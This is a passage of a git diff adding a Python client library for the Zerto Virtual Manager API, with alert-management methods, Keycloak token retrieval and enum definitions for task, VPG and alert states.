logging.info("All ZORGs:") + logging.info(json.dumps(zorgs, indent=2)) + except Exception as e: + logging.error(f"Error getting all ZORGs: {e}") + + # Test 2: Get specific ZORG if ID provided + if args.zorg_id: + logging.info(f"\n=== Testing get_zorgs with ID: {args.zorg_id} ===") + try: + zorg_details = client.zorgs.get_zorgs(args.zorg_id) + logging.info("ZORG details:") + logging.info(json.dumps(zorg_details, indent=2)) + except Exception as e: + logging.error(f"Error getting ZORG {args.zorg_id}: {e}") + + # Test 3: Get first ZORG details if any exist + elif zorgs and len(zorgs) > 0: + first_zorg = zorgs[0] + zorg_identifier = first_zorg.get('ZorgIdentifier') + if zorg_identifier: + logging.info(f"\n=== Testing get_zorgs with first found ID: {zorg_identifier} ===") + try: + zorg_details = client.zorgs.get_zorgs(zorg_identifier) + logging.info("First ZORG details:") + logging.info(json.dumps(zorg_details, indent=2)) + except Exception as e: + logging.error(f"Error getting ZORG {zorg_identifier}: {e}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..eb4a8f9 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +requests>=2.31.0 +urllib3>=2.1.0 \ No newline at end of file diff --git a/zvml/__init__.py b/zvml/__init__.py new file mode 100644 index 0000000..d488316 --- /dev/null +++ b/zvml/__init__.py @@ -0,0 +1 @@ +from .client import ZVMLClient \ No newline at end of file diff --git a/zvml/__pycache__/__init__.cpython-313.pyc b/zvml/__pycache__/__init__.cpython-313.pyc new file mode 100644 index 0000000..e6cddda Binary files /dev/null and b/zvml/__pycache__/__init__.cpython-313.pyc differ diff --git a/zvml/__pycache__/alerts.cpython-313.pyc b/zvml/__pycache__/alerts.cpython-313.pyc new file mode 100644 index 0000000..2d9a742 Binary files /dev/null and b/zvml/__pycache__/alerts.cpython-313.pyc differ diff --git a/zvml/__pycache__/checkpoints.cpython-313.pyc b/zvml/__pycache__/checkpoints.cpython-313.pyc new file mode 100644 index 0000000..0dec193 Binary files /dev/null and b/zvml/__pycache__/checkpoints.cpython-313.pyc differ diff --git a/zvml/__pycache__/client.cpython-313.pyc b/zvml/__pycache__/client.cpython-313.pyc new file mode 100644 index 0000000..a1f746d Binary files /dev/null and b/zvml/__pycache__/client.cpython-313.pyc differ diff --git a/zvml/__pycache__/common.cpython-313.pyc b/zvml/__pycache__/common.cpython-313.pyc new file mode 100644 index 0000000..cd64c64 Binary files /dev/null and b/zvml/__pycache__/common.cpython-313.pyc differ diff --git a/zvml/__pycache__/datastores.cpython-313.pyc b/zvml/__pycache__/datastores.cpython-313.pyc new file mode 100644 index 0000000..8933f18 Binary files /dev/null and b/zvml/__pycache__/datastores.cpython-313.pyc differ diff --git a/zvml/__pycache__/encryptiondetection.cpython-313.pyc b/zvml/__pycache__/encryptiondetection.cpython-313.pyc new file mode 100644 index 0000000..a2d210e Binary files /dev/null and b/zvml/__pycache__/encryptiondetection.cpython-313.pyc differ diff --git a/zvml/__pycache__/events.cpython-313.pyc b/zvml/__pycache__/events.cpython-313.pyc new file mode 100644 index 0000000..4e002f5 Binary files /dev/null and b/zvml/__pycache__/events.cpython-313.pyc differ diff --git a/zvml/__pycache__/failover.cpython-313.pyc b/zvml/__pycache__/failover.cpython-313.pyc new file mode 100644 index 0000000..07a3624 Binary files /dev/null and b/zvml/__pycache__/failover.cpython-313.pyc differ diff --git a/zvml/__pycache__/license.cpython-313.pyc b/zvml/__pycache__/license.cpython-313.pyc new file mode 100644 index 0000000..2036d63 Binary files /dev/null and b/zvml/__pycache__/license.cpython-313.pyc differ diff --git a/zvml/__pycache__/localsite.cpython-313.pyc b/zvml/__pycache__/localsite.cpython-313.pyc new file mode 100644 index 0000000..25b52ae Binary files /dev/null and b/zvml/__pycache__/localsite.cpython-313.pyc differ diff --git a/zvml/__pycache__/organizations.cpython-313.pyc b/zvml/__pycache__/organizations.cpython-313.pyc new file mode 100644 index 0000000..e12a52a Binary files /dev/null and b/zvml/__pycache__/organizations.cpython-313.pyc differ diff --git a/zvml/__pycache__/peersites.cpython-313.pyc b/zvml/__pycache__/peersites.cpython-313.pyc new file mode 100644 index 0000000..84e7ee9 Binary files /dev/null and b/zvml/__pycache__/peersites.cpython-313.pyc differ diff --git a/zvml/__pycache__/recovery_reports.cpython-313.pyc b/zvml/__pycache__/recovery_reports.cpython-313.pyc new file mode 100644 index 0000000..8252451 Binary files /dev/null and b/zvml/__pycache__/recovery_reports.cpython-313.pyc differ diff --git a/zvml/__pycache__/recoveryscripts.cpython-313.pyc b/zvml/__pycache__/recoveryscripts.cpython-313.pyc new file mode 100644 index 0000000..b02858f Binary files /dev/null and b/zvml/__pycache__/recoveryscripts.cpython-313.pyc differ diff --git a/zvml/__pycache__/repositories.cpython-313.pyc b/zvml/__pycache__/repositories.cpython-313.pyc new file mode 100644 index 0000000..c33312c Binary files /dev/null and b/zvml/__pycache__/repositories.cpython-313.pyc differ diff --git a/zvml/__pycache__/server_date_time.cpython-313.pyc b/zvml/__pycache__/server_date_time.cpython-313.pyc new file mode 100644 index 0000000..cd855d2 Binary files /dev/null and b/zvml/__pycache__/server_date_time.cpython-313.pyc differ diff --git a/zvml/__pycache__/service_profiles.cpython-313.pyc b/zvml/__pycache__/service_profiles.cpython-313.pyc new file mode 100644 index 0000000..5f6b033 Binary files /dev/null and b/zvml/__pycache__/service_profiles.cpython-313.pyc differ diff --git a/zvml/__pycache__/sessions.cpython-313.pyc b/zvml/__pycache__/sessions.cpython-313.pyc new file mode 100644 index 0000000..5331254 Binary files /dev/null and b/zvml/__pycache__/sessions.cpython-313.pyc differ diff --git a/zvml/__pycache__/tasks.cpython-313.pyc b/zvml/__pycache__/tasks.cpython-313.pyc new file mode 100644 index 0000000..8dbf94c Binary files /dev/null and b/zvml/__pycache__/tasks.cpython-313.pyc differ diff --git a/zvml/__pycache__/tweaks.cpython-313.pyc b/zvml/__pycache__/tweaks.cpython-313.pyc new file mode 100644 index 0000000..7aec0ba Binary files /dev/null and b/zvml/__pycache__/tweaks.cpython-313.pyc differ diff --git a/zvml/__pycache__/virtualization_sites.cpython-313.pyc b/zvml/__pycache__/virtualization_sites.cpython-313.pyc new file mode 100644 index 0000000..0f8e106 Binary files /dev/null and b/zvml/__pycache__/virtualization_sites.cpython-313.pyc differ diff --git a/zvml/__pycache__/vms.cpython-313.pyc b/zvml/__pycache__/vms.cpython-313.pyc new file mode 100644 index 0000000..27a426c Binary files /dev/null and b/zvml/__pycache__/vms.cpython-313.pyc differ diff --git a/zvml/__pycache__/volumes.cpython-313.pyc b/zvml/__pycache__/volumes.cpython-313.pyc new file mode 100644 index 0000000..73410e4 Binary files /dev/null and b/zvml/__pycache__/volumes.cpython-313.pyc differ diff --git a/zvml/__pycache__/vpg_settings.cpython-313.pyc b/zvml/__pycache__/vpg_settings.cpython-313.pyc new file mode 100644 index 0000000..0c5d0b7 Binary files /dev/null and b/zvml/__pycache__/vpg_settings.cpython-313.pyc differ diff --git a/zvml/__pycache__/vpgs.cpython-313.pyc b/zvml/__pycache__/vpgs.cpython-313.pyc new file mode 100644 index 0000000..a489ee7 Binary files /dev/null and b/zvml/__pycache__/vpgs.cpython-313.pyc differ diff --git a/zvml/__pycache__/vras.cpython-313.pyc b/zvml/__pycache__/vras.cpython-313.pyc new file mode 100644 index 0000000..25add84 Binary files /dev/null and b/zvml/__pycache__/vras.cpython-313.pyc differ diff --git a/zvml/__pycache__/zorgs.cpython-313.pyc b/zvml/__pycache__/zorgs.cpython-313.pyc new file mode 100644 index 0000000..1829b34 Binary files /dev/null and b/zvml/__pycache__/zorgs.cpython-313.pyc differ diff --git a/zvml/__pycache__/zvma.cpython-313.pyc b/zvml/__pycache__/zvma.cpython-313.pyc new file mode 100644 index 0000000..1b33e08 Binary files /dev/null and b/zvml/__pycache__/zvma.cpython-313.pyc differ diff --git a/zvml/__pycache__/zvml.cpython-313.pyc b/zvml/__pycache__/zvml.cpython-313.pyc new file mode 100644 index 0000000..f728cc3 Binary files /dev/null and b/zvml/__pycache__/zvml.cpython-313.pyc differ diff --git a/zvml/alerts.py b/zvml/alerts.py new file mode 100644 index 0000000..3a94227 --- /dev/null +++ b/zvml/alerts.py @@ -0,0 +1,324 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Alerts: + def __init__(self, client): + self.client = client + + # Manage ZVM Alerts + def get_alerts(self, start_date=None, end_date=None, vpg_name=None, zorg_identifier=None, + site_identifier=None, level=None, entity=None, help_identifier=None, is_dismissed=None, + alert_identifier=None): + """ + Fetches alerts from the Zerto API with optional filters or a specific alert if `alert_identifier` is provided. + + :param start_date: The filter interval start date-time (string in date-time format). + :param end_date: The filter interval end date-time (string in date-time format). + :param vpg_name: The name of the VPG to filter alerts for. + :param zorg_identifier: The identifier of the ZORG. + :param site_identifier: The internal ZVM site identifier. + :param level: The alert level. + :param entity: The alert entity type. + :param help_identifier: The alert help identifier associated with the alert. + :param is_dismissed: True if alert was dismissed. + :param alert_identifier: The specific alert identifier to retrieve a single alert. + :return: List of alerts or a specific alert based on the provided filters. + """ + if alert_identifier: + alerts_uri = f"https://{self.client.zvm_address}/v1/alerts/{alert_identifier}" + else: + alerts_uri = f"https://{self.client.zvm_address}/v1/alerts" + + logging.info(f'Alerts.get_alerts(alert_identifier={alert_identifier}, start_date={start_date}, end_date={end_date}, ' + f'vpg_name={vpg_name}, zorg_identifier={zorg_identifier}, site_identifier={site_identifier}, ' + f'level={level}, entity={entity}, help_identifier={help_identifier}, is_dismissed={is_dismissed})') + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Building query parameters for general alerts retrieval + params = {} + if not alert_identifier: + if start_date: + params['startDate'] = start_date + if end_date: + params['endDate'] = end_date + if vpg_name: + # Get VPG identifier from name + vpg = self.client.vpgs.get_vpg_by_name(vpg_name) + if vpg: + params['vpgIdentifier'] = vpg.get('VpgIdentifier') + logging.info(f"Found VPG identifier {params['vpgIdentifier']} for VPG name {vpg_name}") + else: + logging.warning(f"VPG with name {vpg_name} not found") + return [] + if zorg_identifier: + params['zorgIdentifier'] = zorg_identifier + if site_identifier: + params['siteIdentifier'] = site_identifier + if level: + params['level'] = level + if entity: + params['entity'] = entity + if help_identifier: + params['helpIdentifier'] = help_identifier + if is_dismissed is not None: + params['isDismissed'] = str(is_dismissed).lower() + + try: + logging.info("Fetching alerts...") + response = requests.get(alerts_uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + alerts = response.json() + + if not alerts: + logging.warning("No alerts found.") + return [] + + return alerts + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def dismiss_alert(self, alert_identifier): + """ + Dismisses a specific alert by its identifier. + + :param alert_identifier: The identifier of the alert to be dismissed. + :return: Success message if the alert was dismissed, else an error message. + """ + logging.info(f'Alerts.dismiss_alert(alert_identifier={alert_identifier})') + + # Construct the URL for dismissing the alert + dismiss_uri = f"https://{self.client.zvm_address}/v1/alerts/{alert_identifier}/dismiss" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info(f"Attempting to dismiss alert with ID: {alert_identifier}") + response = requests.post(dismiss_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + + if response.status_code == 200: + logging.info(f"Alert {alert_identifier} successfully dismissed.") + return f"Alert {alert_identifier} dismissed successfully." + else: + logging.warning(f"Unexpected response code: {response.status_code}") + return f"Alert {alert_identifier} dismissal returned an unexpected status." + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def undismiss_alert(self, alert_identifier): + """ + Undismisses a specific alert by its identifier. + + :param alert_identifier: The identifier of the alert to be dismissed. + :return: Success message if the alert was dismissed, else an error message. + """ + logging.info(f'Alerts.undismiss_alert(alert_identifier={alert_identifier})') + + # Construct the URL for dismissing the alert + undismiss_uri = f"https://{self.client.zvm_address}/v1/alerts/{alert_identifier}/undismiss" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info(f"Attempting to undismiss alert with ID: {alert_identifier}") + response = requests.post(undismiss_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + + if response.status_code == 200: + logging.info(f"Alert {alert_identifier} successfully undismissed.") + return f"Alert {alert_identifier} undismissed successfully." + else: + logging.warning(f"Unexpected response code: {response.status_code}") + return f"Alert {alert_identifier} undismissal returned an unexpected status." + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_alert_levels(self): + """ + Fetches the available alert levels from the Zerto API. + + :return: List of alert levels or an error message if the request fails. + """ + logging.info('Alerts.get_alert_levels()') + + # Construct the URL for fetching alert levels + alert_levels_uri = f"https://{self.client.zvm_address}/v1/alerts/levels" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching available alert levels...") + response = requests.get(alert_levels_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + alert_levels = response.json() + + if not alert_levels: + logging.warning("No alert levels found.") + return [] + + return alert_levels + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_alert_entities(self): + """ + Fetches the available alert entities from the Zerto API. + + :return: List of alert entities or an error message if the request fails. + """ + logging.info('Alerts.get_alert_entities()') + + # Construct the URL for fetching alert entities + alert_entities_uri = f"https://{self.client.zvm_address}/v1/alerts/entities" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching available alert entities...") + response = requests.get(alert_entities_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + alert_entities = response.json() + + if not alert_entities: + logging.warning("No alert entities found.") + return [] + + return alert_entities + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_alert_help_identifiers(self): + """ + Fetches the available alert help identifiers from the Zerto API. + + :return: List of alert help identifiers or an error message if the request fails. + """ + logging.info('Alerts.get_alert_help_identifiers()') + + # Construct the URL for fetching alert help identifiers + help_identifiers_uri = f"https://{self.client.zvm_address}/v1/alerts/helpidentifiers" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching available alert help identifiers...") + response = requests.get(help_identifiers_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + help_identifiers = response.json() + + if not help_identifiers: + logging.warning("No alert help identifiers found.") + return [] + + return help_identifiers + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/client.py b/zvml/client.py new file mode 100644 index 0000000..7bbbde5 --- /dev/null +++ b/zvml/client.py @@ -0,0 +1,109 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import ssl + +# Configure logging with timestamp format +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + datefmt='%Y-%m-%d %H:%M:%S' +) + +# Import all necessary classes +from .tasks import Tasks +from .vpgs import VPGs +from .vms import VMs +from .failover import Failover +from .alerts import Alerts +from .peersites import PeerSites +from .events import Events +from .repositories import Repositories +from .sessions import Sessions +from .recoveryscripts import RecoveryScripts +from .encryptiondetection import EncryptionDetection +from .zorgs import Zorgs +from .localsite import LocalSite +from .datastores import Datastores +from .vras import VRA +from .recovery_reports import RecoveryReports +from .license import License +from .service_profiles import ServiceProfiles +from .server_date_time import ServerDateTime +from .virtualization_sites import VirtualizationSites +from .volumes import Volumes +from .tweaks import Tweaks + +# Disable SSL warnings for self-signed certificates +context = ssl._create_unverified_context() + +class ZVMLClient: + def __init__(self, zvm_address, client_id, client_secret, verify_certificate=True): + self.zvm_address = zvm_address + self.client_id = client_id + self.client_secret = client_secret + self.verify_certificate = verify_certificate + self.token = None + self.token_expiry = None + self.__get_keycloak_token() + self.tasks = Tasks(self) + self.vpgs = VPGs(self) + self.vms = VMs(self) + self.failover = Failover(self) + self.alerts = Alerts(self) + self.peersites = PeerSites(self) + self.events = Events(self) + self.repositories = Repositories(self) + self.sessions = Sessions(self) + self.recoveryscripts = RecoveryScripts(self) + self.zorgs = Zorgs(self) + self.encryptiondetection = EncryptionDetection(self) + self.localsite = LocalSite(self.zvm_address, self.token) + self.datastores = Datastores(self) + self.vras = VRA(self) + self.recovery_reports = RecoveryReports(self) + self.license = License(self) + self.service_profiles = ServiceProfiles(self) + self.server_date_time = ServerDateTime(self) + self.virtualization_sites = VirtualizationSites(self) + self.volumes = Volumes(self) + self.tweaks = Tweaks(self) + + def __get_keycloak_token(self): + logging.debug(f'__get_keycloak_token(zvm_address={self.zvm_address})') + keycloak_uri = f"https://{self.zvm_address}/auth/realms/zerto/protocol/openid-connect/token" + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + body = { + 'client_id': self.client_id, + 'client_secret': self.client_secret, + 'grant_type': 'client_credentials', + 'expires_in': 3600 # Request token expiration in seconds (e.g., 1 hour) + } + + try: + logging.info("Connecting to Keycloak to get token...") + response = requests.post(keycloak_uri, headers=headers, data=body, verify=self.verify_certificate) + response.raise_for_status() + token_data = response.json() + self.token = token_data.get('access_token') + self.token_expiry = token_data.get('expires_in') # Store expiration time + logging.info(f"Successfully retrieved token.") + logging.info(f"Token expiration details:") + logging.info(f"- Expires in: {self.token_expiry} seconds") + logging.info(f"- Requested expiration: {body['expires_in']} seconds") + if self.token_expiry != body['expires_in']: + logging.warning(f"Server provided different expiration time than requested!") + return self.token + except requests.exceptions.RequestException as e: + logging.error(f"Error retrieving token: {e}") + raise \ No newline at end of file diff --git a/zvml/common.py b/zvml/common.py new file mode 100644 index 0000000..f30f60e --- /dev/null +++ b/zvml/common.py @@ -0,0 +1,599 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +from enum import Enum + +class ZertoTaskTypes(Enum): + CreateProtectionGroup = 0 + RemoveProtectionGroup = 1 + FailOver = 2 + FailOverTest = 3 + StopFailOverTest = 4 + Move = 5 + GetCheckpointList = 6 + ProtectVM = 7 + UnprotectVM = 8 + AddVMToProtectionGroup = 9 + RemoveVMFromProtectionGroup = 10 + InstallVra = 11 + UninstallVra = 12 + GetVMSettings = 13 + UpdateProtectionGroup = 14 + InsertTaggedCP = 15 + WaitForCP = 16 + HandleMirrorPromotion = 17 + ActivateAllMirrors = 18 + LogCollection = 19 + ClearCheckpoints = 20 + ForceReconfigurationOfNewVM = 21 + ClearSite = 22 + ForceRemoveProtectionGroup = 23 + ForceUpdateProtectionGroup = 24 + ForceKillProtectionGroup = 25 + PrePostScript = 26 + InitFullSync = 27 + Pair = 28 + Unpair = 29 + AddPeerVraInfo = 30 + RemovePeerVraInfo = 31 + InstallCloudConnector = 32 + UninstallCloudConnector = 33 + HandleFirstSyncDone = 34 + Clone = 35 + MoveBeforeCommit = 36 + MoveRollback = 37 + MoveCommit = 38 + UpgradeVRA = 39 + MaintainHost = 40 + NotSupportedInThisVersion = 41 + MoveProtectionGroupToManualOperationNeeded = 42 + FailoverBeforeCommit = 43 + FailoverCommit = 44 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoTaskStates(Enum): + FirstUnusedValue = 0 + InProgress = 1 + WaitingForUserInput = 2 + Paused = 3 + Failed = 4 + Stopped = 5 + Completed = 6 + Cancelling = 7 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoVPGStatus(Enum): + Initializing = 0 + MeetingSLA = 1 + NotMeetingSLA = 2 + HistoryNotMeetingSLA = 3 + RpoNotMeetingSLA = 4 + FailingOver = 5 + Moving = 6 + Deleting = 7 + Recovered = 8 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoVPGSubstatus(Enum): + NONE = 0 # Using NONE instead of None as None is a Python keyword + InitialSync = 1 + Creating = 2 + VolumeInitialSync = 3 + Sync = 4 + RecoveryPossible = 5 + DeltaSync = 6 + NeedsConfiguration = 7 + Error = 8 + EmptyProtectionGroup = 9 + DisconnectedFromPeerNoRecoveryPoints = 10 + FullSync = 11 + VolumeDeltaSync = 12 + VolumeFullSync = 13 + FailingOverCommitting = 14 + FailingOverBeforeCommit = 15 + FailingOverRollingBack = 16 + Promoting = 17 + MovingCommitting = 18 + MovingBeforeCommit = 19 + MovingRollingBack = 20 + Deleting = 21 + PendingRemove = 22 + BitmapSync = 23 + DisconnectedFromPeer = 24 + ReplicationPausedUserInitiated = 25 + ReplicationPausedSystemInitiated = 26 + RecoveryStorageProfileError = 27 + Backup = 28 + RollingBack = 29 + RecoveryStorageError = 30 + JournalStorageError = 31 + VmNotProtectedError = 32 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoProtectedSiteType(Enum): + VCVpg = 0 + VCvApp = 1 + VCDvApp = 2 + AWS = 3 + HyperV = 4 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoRecoverySiteType(Enum): + VCVpg = 0 + VCvApp = 1 + VCDvApp = 2 + AWS = 3 + HyperV = 4 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + + @classmethod + def get_value_by_name(cls, name): + for member in cls: + if member.name == name: + return member.value + return None + +class ZertoVPGPriority(Enum): + Low = 0 + Medium = 1 + High = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVRAStatus(Enum): + Installed = 0 + UnsupportedEsxVersion = 1 + NotInstalled = 2 + Installing = 3 + Removing = 4 + InstallationError = 5 + HostPasswordChanged = 6 + UpdatingIpSettings = 7 + DuringChangeHost = 8 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoPairingStatus(Enum): + Paired = 0 + Pairing = 1 + Unpaired = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoAlertLevel(Enum): + Warning = 0 + Error = 1 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoAlertEntity(Enum): + Zvm = 0 + Vra = 1 + Vpg = 2 + CloudConnector = 3 + Storage = 4 + License = 5 + Zcm = 6 + FileRecoveryComponent = 7 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoAlertHelpIdentifier(Enum): + AWS0001 = 0 + BCK0001 = 1 + BCK0002 = 2 + BCK0005 = 3 + BCK0006 = 4 + BCK0007 = 5 + LIC0001 = 6 + LIC0002 = 7 + LIC0003 = 8 + LIC0004 = 9 + LIC0005 = 10 + LIC0006 = 11 + LIC0007 = 12 + LIC0008 = 13 + STR0001 = 14 + STR0002 = 15 + STR0004 = 16 + VCD0001 = 17 + VCD0002 = 18 + VCD0003 = 19 + VCD0004 = 20 + VCD0005 = 21 + VCD0006 = 22 + VCD0007 = 23 + VCD0010 = 24 + VCD0014 = 25 + VCD0015 = 26 + VCD0016 = 27 + VCD0017 = 28 + VCD0018 = 29 + VCD0020 = 30 + VCD0021 = 31 + VPG0003 = 32 + VPG0004 = 33 + VPG0005 = 34 + VPG0006 = 35 + VPG0007 = 36 + VPG0008 = 37 + VPG0009 = 38 + VPG0010 = 39 + VPG0011 = 40 + VPG0012 = 41 + VPG0014 = 42 + VPG0015 = 43 + VPG0016 = 44 + VPG0017 = 45 + VPG0018 = 46 + VPG0019 = 47 + VPG0020 = 48 + VPG0021 = 49 + VPG0022 = 50 + VPG0023 = 51 + VPG0024 = 52 + VPG0025 = 53 + VPG0026 = 54 + VPG0027 = 55 + VPG0028 = 56 + VPG0035 = 57 + VPG0036 = 58 + VPG0037 = 59 + VPG0038 = 60 + VPG0039 = 61 + VPG0040 = 62 + VPG0041 = 63 + VPG0042 = 64 + VPG0043 = 65 + VPG0044 = 66 + VPG0045 = 67 + VPG0046 = 68 + VPG0047 = 69 + VPG0048 = 70 + VRA0001 = 71 + VRA0002 = 72 + VRA0003 = 73 + VRA0004 = 74 + VRA0005 = 75 + VRA0006 = 76 + VRA0007 = 77 + VRA0008 = 78 + VRA0009 = 79 + VRA0010 = 80 + VRA0011 = 81 + VRA0012 = 82 + VRA0013 = 83 + VRA0014 = 84 + VRA0015 = 85 + VRA0016 = 86 + VRA0017 = 87 + VRA0018 = 88 + VRA0019 = 89 + VRA0020 = 90 + VRA0021 = 91 + VRA0022 = 92 + VRA0023 = 93 + VRA0024 = 94 + VRA0025 = 95 + VRA0026 = 96 + VRA0027 = 97 + VRA0028 = 98 + VRA0029 = 99 + VRA0030 = 100 + VRA0032 = 101 + VRA0035 = 102 + VRA0036 = 103 + VRA0037 = 104 + VRA0038 = 105 + VRA0039 = 106 + VRA0040 = 107 + VRA0049 = 108 + VRA0050 = 109 + VRA0051 = 110 + VRA0052 = 111 + VRA0053 = 112 + VRA0054 = 113 + VRA0055 = 114 + ZCC0001 = 115 + ZCC0002 = 116 + ZCC0003 = 117 + ZCM0001 = 118 + ZVM0001 = 119 + ZVM0002 = 120 + ZVM0003 = 121 + ZVM0004 = 122 + ZVM0005 = 123 + ZVM0006 = 124 + ZVM0007 = 125 + ZVM0008 = 126 + ZVM0009 = 127 + ZVM0010 = 128 + ZVM0011 = 129 + ZVM0012 = 130 + ZVM0013 = 131 + ZVM0014 = 132 + ZVM0015 = 133 + FLR0001 = 134 + Unknown = 135 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoEventType(Enum): + Unknown = 0 + CreateProtectionGroup = 1 + RemoveProtectionGroup = 2 + FailOver = 3 + FailOverTest = 4 + StopFailOverTest = 5 + Move = 6 + ProtectVM = 7 + UnprotectVM = 8 + InstallVra = 9 + UninstallVra = 10 + UpdateProtectionGroup = 11 + InsertTaggedCP = 12 + HandleMirrorPromotion = 13 + ActivateAllMirrors = 14 + LogCollection = 15 + 